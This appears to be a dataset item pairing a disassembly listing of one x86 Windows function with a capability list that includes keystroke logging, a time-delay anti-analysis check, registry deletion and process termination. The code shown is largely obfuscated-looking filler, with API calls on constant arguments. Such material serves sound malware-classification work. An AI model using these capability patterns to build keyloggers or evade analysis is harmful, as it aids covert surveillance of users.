Function at 0x10033b49
Capabilities:
Accept command line arguments
Check for time delay via gettickcount
Connect pipe
Create pipe
Delete registry value
Get common file path
Get session user name
Get thread local storage value
Log keystrokes via polling
Parse pe header
Set environment variable
Set thread local storage value
Terminate process

Disassembly:
mov eax, 0x1008defd
call fcn.1008c498
mov eax, 0x1864
call fcn.10074850
push ebx
push esi
push edi
push 8
pop eax
mov dword [ebp - 0x1c], eax
xor ebx, ebx
xor eax, eax
mov dword [ebp - 0x6c], ecx
push 2
mov dword [ebp - 0x60], eax
inc ebx
pop ecx
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x34], eax
mov byte [ebp - 0x7d], dl
cmp dword [ebp - 0x34], ebx
jge 0x10033b9d
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x70], 0xc204e2db
xor eax, eax
inc dword [ebp - 0x34]
inc eax
cmp dword [ebp - 0x34], eax
jl 0x10033b82
xor ebx, ebx
xor eax, eax
inc ebx
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], ebx
jge 0x10033bc3
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x174], 0xadc1094
xor eax, eax
inc dword [ebp - 0x34]
inc eax
cmp dword [ebp - 0x34], eax
jl 0x10033ba5
xor ebx, ebx
xor eax, eax
inc ebx
mov edi, dword [sym.imp.USER32.dll_GetDesktopWindow]
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x10033bf2
push eax
push eax
push eax
push 0x1854
push 0x22bf
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentExPointA]
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x10033e05
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 3
jge 0x10033c23
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x14bc], 0xfffffff7
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 3
jl 0x10033c0a
xor eax, eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], ebx
jge 0x10033c46
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x32c], 0xffffffff
xor eax, eax
inc dword [ebp - 0x34]
inc eax
cmp dword [ebp - 0x34], eax
jl 0x10033c2b
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jg 0x10033d1c
cmp dword [ebp - 0x18], eax
je 0x10033c6a
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x70], 0
je 0x10033c68
xor eax, eax
lea ecx, [eax + 1]
jmp 0x10033c6c
xor eax, eax
mov ecx, eax
mov dword [ebp - 0x14bc], ecx
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp + eax*4 - 0x70]
mov eax, dword [ebp - 0x18]
imul edx, dword [ebp + eax*4 - 0x70]
mov eax, dword [ebp - 0x70]
add eax, ecx
xor ecx, ecx
imul edx, eax
mov eax, dword [ebp - 0x18]
cmp edx, 0x19d87263
setne cl
xor ebx, ebx
cmp ecx, eax
setge bl
xor edx, edx
mov dword [ebp - 0x32c], ebx
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + eax*4 - 0x70]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x70]
cmp ecx, eax
sete dl
xor eax, eax
cmp ebx, 0xffffffff
setle al
sub eax, 0x86a6
neg eax
sbb eax, eax
inc eax
cmp edx, eax
jne 0x10033cdb
xor eax, eax
cmp dword [ebp - 0x70], eax
je 0x10033cdd
lea edx, [eax + 1]
jmp 0x10033cdf
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x174]
setne cl
xor edx, edx
imul ecx, ecx, 7
cmp ecx, eax
mov eax, dword [ebp - 0x174]
setge dl
xor ecx, ecx
cmp edx, eax
setl cl
xor eax, eax
mov dword [ebp - 0x70], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], eax
jle 0x10033c52
mov edx, 0xfff6
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jg 0x10033dff
mov dword [ebp - 0x2c], 0xffffffff
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + eax*4 - 0x70]
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x70], ecx
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], eax
jg 0x10033dec
mov eax, dword [ebp - 0x2c]
cmp dword [ebp + eax*4 - 0x174], 0
jne 0x10033d66
xor eax, eax
cmp dword [ebp - 0x32c], eax
jne 0x10033d66
mov ecx, eax
jmp 0x10033d6b
xor eax, eax
lea ecx, [eax + 1]
xor eax, eax
cmp ecx, 0x9f94
setg al
dec eax
cmp edx, eax
sbb eax, eax
xor ecx, ecx
inc eax
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x60]
cmp eax, 0xb0b826fb
mov eax, dword [ebp - 0x174]
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setl dl
mov eax, dword [ebp + eax*4 - 0x32c]
sub eax, edx
imul eax, eax, 0x2214
test eax, eax
je 0x10033db2
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov edx, dword [ebp + eax*4 - 0x70]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x70]
cmp eax, edx
setg cl
cmp ecx, 0xfffffff8
jne 0x10033dd3
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x10033dd6
xor eax, eax
inc eax
mov dword [ebp - 0x4c], eax
mov edx, 0xfff6
inc dword [ebp - 0x2c]
xor eax, eax
cmp dword [ebp - 0x2c], eax
jle 0x10033d4b
inc dword [ebp - 0x18]
mov edx, 0xfff6
cmp dword [ebp - 0x18], eax
jle 0x10033d28
xor eax, eax
inc dword [ebp - 0x1c]
push 1
pop ebx
mov edx, 0xfff6
cmp dword [ebp - 0x1c], eax
jle 0x10033bfa
push 3
lea ecx, [ebp - 0x5f4]
call fcn.100186a3
xor eax, eax
lea ecx, [ebp - 0x9a4]
mov dword [ebp - 4], eax
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x24], 4
mov dword [ebp - 0x2c], 6
push 3
call fcn.100186a3
xor ebx, ebx
xor eax, eax
inc ebx
mov byte [ebp - 4], bl
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 3
jge 0x10033e74
push dword [ebp - 0x28]
lea ecx, [ebp - 0x9a4]
call fcn.1001872f
and dword [eax], 0
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 3
jl 0x10033e58
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x100340db
mov dword [ebp - 0x20], 0x75286e87
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xf
jl 0x100340d8
push 4
lea ecx, [ebp - 0x5c4]
call fcn.100186a3
push 2
pop ecx
xor eax, eax
mov byte [ebp - 4], cl
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 4
jge 0x10033ed0
push dword [ebp - 0x34]
lea ecx, [ebp - 0x5c4]
call fcn.1001872f
mov dword [eax], 0xa9869ec4
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 4
jl 0x10033eae
push 2
xor eax, eax
pop ecx
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], ecx
jge 0x10033ef0
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x11b8], 0x12dc
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], ecx
jl 0x10033ed8
xor eax, eax
push eax
lea ecx, [ebp - 0x5c4]
call fcn.1001872f
and dword [eax], 0
jmp 0x100340a2
push ecx
lea ecx, [ebp - 0x3d8]
call fcn.100186a3
push ebx
lea ecx, [ebp - 0xc98]
mov byte [ebp - 4], 3
call fcn.100186a3
xor eax, eax
mov byte [ebp - 4], 4
push 2
mov dword [ebp - 0x34], eax
pop esi
cmp dword [ebp - 0x34], esi
jge 0x10033f4c
push dword [ebp - 0x34]
lea ecx, [ebp - 0x3d8]
call fcn.1001872f
and dword [eax], 0
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], esi
jl 0x10033f31
xor eax, eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], ebx
jge 0x10033f78
push dword [ebp - 0x34]
lea ecx, [ebp - 0xc98]
call fcn.1001872f
mov dword [eax], 0x84abf0a6
xor eax, eax
inc dword [ebp - 0x34]
inc eax
cmp dword [ebp - 0x34], eax
jl 0x10033f54
xor ebx, ebx
xor eax, eax
inc ebx
push eax
lea ecx, [ebp - 0x3d8]
call fcn.1001872f
lea ecx, [ebp - 0x3d8]
mov dword [eax], esi
xor eax, eax
push eax
call fcn.1001872f
cmp dword [eax], 0
jl 0x10034067
xor eax, eax
mov dword [ebp - 0x4c], 0xc47a
push eax
lea ecx, [ebp - 0x5c4]
call fcn.1001872f
lea ecx, [ebp - 0x9a4]
push dword [eax]
call fcn.1001872f
cmp dword [eax], 0
je 0x1003401e
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x3d8]
xor eax, eax
push eax
call fcn.1001872f
mov eax, dword [ebp - 0x11b8]
lea ecx, [ebp - 0x3d8]
xor eax, eax
push eax
call fcn.1001872f
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x3d8]
mov eax, dword [ebp - 0x20]
xor eax, eax
push eax
call fcn.1001872f
lea ecx, [ebp - 0x9a4]
push dword [eax]
call fcn.1001872f
mov esi, eax
lea ecx, [ebp - 0x3d8]
xor eax, eax
push eax
call fcn.1001872f
mov ecx, dword [eax]
mov dword [esi], ecx
xor eax, eax
lea ecx, [ebp - 0xc98]
push eax
call fcn.1001872f
cmp dword [ebp - 0x2c], 0xfffa
sbb ecx, ecx
neg ecx
imul ecx, dword [ebp - 0x4c]
mov dword [eax], ecx
xor eax, eax
push eax
lea ecx, [ebp - 0x3d8]
call fcn.1001872f
lea ecx, [ebp - 0x3d8]
dec dword [eax]
xor eax, eax
push eax
call fcn.1001872f
cmp dword [eax], 0
jge 0x10033f9d
push 2
pop esi
push esi
lea ecx, [ebp - 0x9a4]
call fcn.1001872f
lea ecx, [ebp - 0xc98]
or dword [eax], 0xffffffff
call fcn.1001872a
push 2
pop eax
lea ecx, [ebp - 0x3d8]
mov byte [ebp - 4], al
call fcn.1001872a
xor eax, eax
lea ecx, [ebp - 0x5c4]
push eax
call fcn.1001872f
inc dword [eax]
xor eax, eax
lea ecx, [ebp - 0x5c4]
push eax
call fcn.1001872f
push 2
pop ecx
cmp dword [eax], ecx
jle 0x10033f04
lea ecx, [ebp - 0x5c4]
mov byte [ebp - 4], bl
call fcn.1001872a
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xf
jge 0x10033e90
xor eax, eax
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xffffffe2
jg 0x10033e7c
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x100340f7
push eax
call dword [sym.imp.USER32.dll_SetCursor]
xor eax, eax
lea ecx, [ebp - 0x9a4]
mov byte [ebp - 4], al
call fcn.1001872a
push 3
lea ecx, [ebp - 0x5dc]
call fcn.100186a3
mov byte [ebp - 4], 5
xor eax, eax
mov dword [ebp - 0x48], 0x9a83
xor edx, edx
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x58], 0xffffffff
push 3
pop ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x3c], 2
mov dword [ebp - 0x4c], 0x8905b8b7
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x1c], 0x9f8d19c9
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setne dl
push 0xfffffffffffffff9
pop esi
cmp esi, eax
sbb eax, eax
xor ecx, ecx
neg eax
cmp eax, edx
setg cl
sub ecx, 0x1e19
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x1c], 0x1d
cmp dword [ebp - 0x1c], 0xffffffe6
jg 0x10034231
mov dword [ebp - 0x44], 0x1978e60d
xor eax, eax
mov dword [ebp - 0x4c], 5
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], al
je 0x100341c4
call edi
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_SetParent]
mov dword [ebp - 0x58], 0xfffffff2
jmp 0x1003421b
mov dword [ebp - 0x60], 0x3c3d
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x44]
inc edx
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
imul edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x60]
cmp eax, edx
mov eax, dword [ebp - 0x50]
setle cl
xor edx, edx
imul ecx, ecx, 0xfab8
cmp ecx, eax
mov eax, dword [ebp - 0x54]
setle dl
xor ebx, ebx
test edx, edx
setg bl
xor ecx, ecx
cmp ebx, eax
setl cl
mov dword [ebp - 0x4c], ecx
inc dword [ebp - 0x58]
cmp dword [ebp - 0x58], 4
jle 0x100341cd
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffe6
jle 0x100341a0
xor ebx, ebx
inc ebx
mov dword [ebp - 0x50], ebx
xor eax, eax
mov dword [ebp - 0x4c], 0xffffffff
mov dword [ebp - 0x30], 0xf37831e4
mov dword [ebp - 0x30], 0x532bb11a
mov dword [ebp - 0x30], 0x6e52d8cb
push 2
mov dword [ebp - 0x34], eax
pop ecx
cmp dword [ebp - 0x34], ecx
jge 0x10034271
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x1694], esi
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], ecx
jl 0x1003425d
xor eax, eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], ebx
jge 0x10034297
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x558], 0xfffffff7
xor eax, eax
inc dword [ebp - 0x34]
inc eax
cmp dword [ebp - 0x34], eax
jl 0x10034279
xor ebx, ebx
xor eax, eax
inc ebx
mov dword [ebp - 0x4c], 0xffffffff
dec dword [ebp - 0x558]
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 3
jge 0x100342cf
push dword [ebp - 0x34]
lea ecx, [ebp - 0x5f4]
call fcn.1001872f
mov dword [eax], 0x9841b3c6
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 3
jl 0x100342ad
push 2
xor eax, eax
pop ecx
mov dword [ebp - 0x34], 0x62d5e48d
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0x18
je 0x1003451a
jmp 0x100342eb
push 2
pop ecx
mov dword [ebp - 0x58], 0xfffffffa
mov dword [ebp - 0x38], 3
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ecx
jge 0x10034319
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x10c], 0xba8b35ed
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ecx
jl 0x10034301
xor eax, eax
cmp dword [ebp - 0x58], eax
je 0x1003437b
mov dword [ebp - 0x60], 5
xor ecx, ecx
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x108]
mov eax, dword [ebp - 0x108]
cmp eax, 0x959c
setne cl
cmp ecx, 4
jle 0x1003434f
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x10c]
add eax, dword [ebp - 0x60]
mov dword [ebp - 0x108], eax
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], al
je 0x1003450a
push eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
jmp 0x1003450a
push ecx
lea ecx, [ebp - 0xa28]
call fcn.100186a3
push 8
pop eax
mov byte [ebp - 4], 6
mov dword [ebp - 0x30], eax
xor eax, eax
mov dword [ebp - 0x28], eax
jmp 0x100343a9
push dword [ebp - 0x28]
call fcn.1001872f
mov dword [eax], 0x49c23edb
inc dword [ebp - 0x28]
push 2
pop eax
lea ecx, [ebp - 0xa28]
cmp dword [ebp - 0x28], eax
jl 0x10034398
mov eax, dword [ebp - 0x34]
mov esi, dword [ebp - 0x108]
push ebx
call fcn.1001872f
mov dword [eax], esi
xor eax, eax
test esi, esi
jne 0x100344ac
cmp dword [ebp - 0x108], eax
jne 0x100344ac
mov dword [ebp - 0x3c], 0x7ba2
mov dword [ebp - 0x58], ebx
cmp dword [ebp - 0x58], eax
jl 0x10034492
mov dword [ebp - 0x60], 0xffffffff
lea ecx, [ebp - 0xa28]
push dword [ebp - 0x58]
call fcn.1001872f
cmp dword [eax], 0
je 0x10034425
mov eax, dword [ebp - 0x58]
mov ecx, ebx
mov eax, dword [ebp + eax*4 - 0x10c]
sub ecx, eax
je 0x10034425
xor eax, eax
xor ebx, ebx
inc ebx
lea esi, [eax + 1]
jmp 0x10034429
xor eax, eax
mov esi, eax
mov dword [ebp - 0x60], 0xfffffffd
lea ecx, [ebp - 0xa28]
mov eax, dword [ebp - 0x60]
dec eax
mov dword [ebp - 0x60], eax
push ebx
call fcn.1001872f
mov ecx, dword [ebp - 0x34]
xor edx, edx
sub esi, ecx
add esi, dword [ebp - 0x3c]
cmp esi, dword [eax]
mov eax, dword [ebp - 0x60]
setge dl
xor ecx, ecx
cmp eax, edx
setge cl
xor eax, eax
cmp ecx, dword [ebp - 0x108]
jl 0x10034473
cmp dword [ebp - 0x3c], eax
je 0x10034473
xor ebx, ebx
lea ecx, [eax + 1]
inc ebx
jmp 0x10034475
mov ecx, eax
mov eax, dword [ebp - 0x3c]
sub ecx, eax
mov eax, dword [ebp - 0x58]
mov dword [ebp + eax*4 - 0x10c], ecx
inc dword [ebp - 0x38]
dec dword [ebp - 0x58]
jns 0x100343f1
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x100344fb
push eax
push 0x19d3
call edi
push eax
call dword [sym.imp.USER32.dll_SetDlgItemTextA]
jmp 0x100344fb
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x100344d5
push eax
push eax
push eax
push 0x1854
push 0x22bf
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentExPointA]
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x100344fb
push eax
push 0x1ede
push 0xb8d
push eax
push 0x160c
push 0xd51
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
lea ecx, [ebp - 0xa28]
mov byte [ebp - 4], 5
call fcn.1001872a
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0x18
push 0
pop eax
jne 0x100342e8
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 3
jge 0x10034542
push dword [ebp - 0x34]
lea ecx, [ebp - 0x5dc]
call fcn.1001872f
mov dword [eax], 0xc47d1afd
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 3
jl 0x10034523
xor eax, eax
mov dword [ebp - 0x20], 0x96dd1e1e
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jge 0x10034570
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x44c], ebx
xor eax, eax
inc dword [ebp - 0x28]
inc eax
push eax
pop ebx
cmp dword [ebp - 0x28], eax
jl 0x10034554
xor ebx, ebx
xor eax, eax
inc ebx
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], eax
jg 0x100345a5
mov eax, dword [ebp - 0x20]
xor ecx, ecx
cmp dword [ebp + eax*4 - 0x44c], ecx
jne 0x10034596
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0x44c], ecx
jne 0x10034596
xor eax, eax
jmp 0x10034598
mov eax, ebx
mov dword [ebp - 0x4c], eax
xor eax, eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], eax
jle 0x10034578
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x100345b9
call edi
push eax
call dword [sym.imp.USER32.dll_GetParent]
xor eax, eax
mov dword [ebp - 0x34], 2
cmp dword [ebp - 0x34], eax
jl 0x10034986
jmp 0x100345cd
xor eax, eax
mov dword [ebp - 0x60], 0xc6338430
mov dword [ebp - 0x20], 0x96dd1e1e
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jge 0x10034602
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x568], ebx
xor eax, eax
inc dword [ebp - 0x28]
inc eax
push eax
pop ebx
cmp dword [ebp - 0x28], eax
jl 0x100345e6
xor ebx, ebx
xor eax, eax
inc ebx
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], eax
jg 0x10034637
mov eax, dword [ebp - 0x20]
xor ecx, ecx
cmp dword [ebp + eax*4 - 0x568], ecx
jne 0x10034628
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0x568], ecx
jne 0x10034628
xor eax, eax
jmp 0x1003462a
mov eax, ebx
mov dword [ebp - 0x4c], eax
xor eax, eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], eax
jle 0x1003460a
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x10034649
call edi
push eax
call dword [sym.imp.USER32.dll_GetParent]
push 8
pop eax
mov dword [ebp - 0x20], 0xb2e4145c
lea ecx, [ebp - 0x9bc]
mov dword [ebp - 0x28], eax
push 3
call fcn.100186a3
mov byte [ebp - 4], 7
xor eax, eax
mov dword [ebp - 0x58], 0x920a6ff6
mov dword [ebp - 0x4c], 0x9e96
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 3
jge 0x1003469f
push dword [ebp - 0x28]
lea ecx, [ebp - 0x9bc]
call fcn.1001872f
mov dword [eax], 0xfffffffb
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 3
jl 0x10034680
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x100346b6
push 0xcb3
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
xor eax, eax
push 2
pop ebx
cmp dword [ebp - 0x34], eax
jne 0x100346fc
inc dword [ebp - 0x58]
xor edx, edx
mov ecx, dword [ebp - 0x60]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
push ebx
setne dl
lea ecx, [ebp - 0x5f4]
mov dword [ebp - 0x20], edx
call fcn.1001872f
mov edx, dword [ebp - 0x20]
xor ecx, ecx
imul edx, dword [eax]
mov eax, dword [ebp - 0x58]
cmp eax, edx
mov eax, dword [ebp - 0x34]
setg cl
sub eax, ecx
neg eax
sbb eax, eax
inc eax
dec eax
je 0x10034708
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x1003470a
xor eax, eax
inc eax
mov esi, eax
jmp 0x1003470f
xor eax, eax
mov esi, eax
xor eax, eax
inc eax
push eax
lea ecx, [ebp - 0x5dc]
call fcn.1001872f
push ebx
lea ecx, [ebp - 0x9bc]
mov dword [eax], esi
mov eax, dword [ebp - 0x34]
xor eax, eax
mov dword [ebp - 0x24], eax
call fcn.1001872f
mov ecx, dword [ebp - 0x60]
imul ecx, dword [ebp - 0x24]
mov dword [eax], ecx
xor eax, eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], ebx
jg 0x1003496b
xor ebx, ebx
inc ebx
jmp 0x1003474f
xor eax, eax
mov dword [ebp - 0x44], 0xfffffffa
mov dword [ebp - 0x14], 5
mov dword [ebp - 0x2c], 0x98e5
mov dword [ebp - 0x54], 0x79c0213a
mov dword [ebp - 0x38], 0xc725ea9b
mov dword [ebp - 0x60], 0x2d068568
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 2
jg 0x10034838
jmp 0x1003478a
xor eax, eax
mov dword [ebp - 0x2c], eax
lea ecx, [ebp - 0x5dc]
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x60], eax
inc dword [ebp - 0x2c]
push eax
call fcn.1001872f
mov eax, dword [ebp - 0x44]
xor ecx, ecx
cmp eax, 0xfae3
setne cl
xor eax, eax
mov dword [ebp - 0x20], ecx
cmp dword [ebp - 0x20], eax
je 0x100347bc
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x58]
lea ecx, [ebp - 0x9bc]
mov eax, dword [ebp - 0x2c]
xor eax, eax
mov dword [ebp - 0x24], 0xffffffff
push eax
call fcn.1001872f
mov ecx, dword [ebp - 0x44]
xor edx, edx
cmp dword [eax], ecx
mov eax, dword [ebp - 0x24]
setge dl
xor ecx, ecx
cmp eax, edx
setge cl
sub ecx, dword [ebp - 0x2c]
cmp ecx, 0xffffffff
jb 0x100347f6
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x3c]
lea ecx, [ebp - 0x5dc]
sub eax, dword [ebp - 0x4c]
neg eax
push ebx
sbb eax, eax
inc eax
sub eax, dword [ebp - 0x3c]
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x60]
call fcn.1001872f
mov ecx, dword [ebp - 0x2c]
add ecx, dword [eax]
cmp ecx, dword [ebp - 0x48]
jg 0x10034823
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x2c], eax
inc dword [ebp - 0x28]
push 2
pop eax
cmp dword [ebp - 0x28], eax
jle 0x10034788
push ebx
lea ecx, [ebp - 0x5f4]
call fcn.1001872f
cmp dword [eax], 0
jne 0x100348fc
push 2
pop eax
push eax
lea ecx, [ebp - 0x5dc]
call fcn.1001872f
push 2
mov esi, 0x80b142b9
lea ecx, [ebp - 0x9bc]
mov dword [eax], esi
pop eax
push eax
call fcn.1001872f
mov dword [eax], esi
xor eax, eax
mov dword [ebp - 0x20], esi
cmp dword [ebp - 0x20], eax
je 0x10034897
mov eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x14]
je 0x10034897
xor eax, eax
lea ecx, [ebp - 0x5dc]
push eax
call fcn.1001872f
push ebx
lea ecx, [ebp - 0x5f4]
call fcn.1001872f
push ebx
lea ecx, [ebp - 0x5f4]
mov esi, dword [eax]
sub esi, 0xa
call fcn.1001872f
mov edx, dword [ebp - 0x2c]
xor ebx, ebx
mov ecx, dword [ebp - 0x34]
add ecx, esi
add edx, ecx
cmp edx, dword [eax]
mov eax, dword [ebp - 0x50]
setg bl
xor ecx, ecx
cmp ebx, eax
setg cl
imul ecx, dword [ebp - 0x2c]
test ecx, ecx
jne 0x100348e2
xor eax, eax
cmp dword [ebp - 0x34], eax
jne 0x100348e2
mov edx, eax
jmp 0x100348e7
xor eax, eax
lea edx, [eax + 1]
mov eax, dword [ebp - 0x14]
xor ecx, ecx
cmp edx, eax
setge cl
sub ecx, dword [ebp - 0x54]
jne 0x100348fc
xor eax, eax
mov edx, eax
jmp 0x10034901
xor eax, eax
lea edx, [eax + 1]
mov eax, dword [ebp - 0x34]
xor ecx, ecx
cmp edx, eax
setg cl
xor eax, eax
add ecx, dword [ebp - 0x38]
cmp ecx, 0xffffffff
jb 0x1003491f
cmp dword [ebp - 0x44], eax
je 0x1003491f
lea ecx, [eax + 1]
jmp 0x10034921
mov ecx, eax
mov eax, dword [ebp - 0x48]
sub ecx, eax
sub ecx, 0x96ab
neg ecx
sbb ecx, ecx
xor ebx, ebx
inc ecx
inc ebx
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x5f4]
mov eax, dword [ebp - 0x24]
push ebx
call fcn.1001872f
xor edx, edx
push 2
cmp dword [eax], ebx
mov eax, dword [ebp - 0x2c]
sete dl
xor ecx, ecx
cmp edx, eax
pop eax
setl cl
mov dword [ebp - 0x60], ecx
inc dword [ebp - 0x58]
cmp dword [ebp - 0x58], eax
jle 0x1003474d
jmp 0x1003496e
xor ebx, ebx
inc ebx
lea ecx, [ebp - 0x9bc]
mov byte [ebp - 4], 5
call fcn.1001872a
dec dword [ebp - 0x34]
jns 0x100345cb
lea ecx, [ebp - 0x5dc]
call fcn.1001872a
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x5f4]
call fcn.1001872a
mov dword [ebp - 0x3c], 0x915a1369
lea ecx, [ebp - 0xe30]
push ebx
call fcn.100186a3
push 8
pop eax
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jge 0x100349e7
push dword [ebp - 0x28]
lea ecx, [ebp - 0xe30]
call fcn.1001872f
mov dword [eax], 9
xor eax, eax
inc dword [ebp - 0x28]
inc eax
cmp dword [ebp - 0x28], eax
jl 0x100349c3
xor ebx, ebx
xor eax, eax
inc ebx
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x10034a07
push 0x827
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
xor eax, eax
mov esi, dword [ebp - 0x3c]
lea ecx, [ebp - 0xe30]
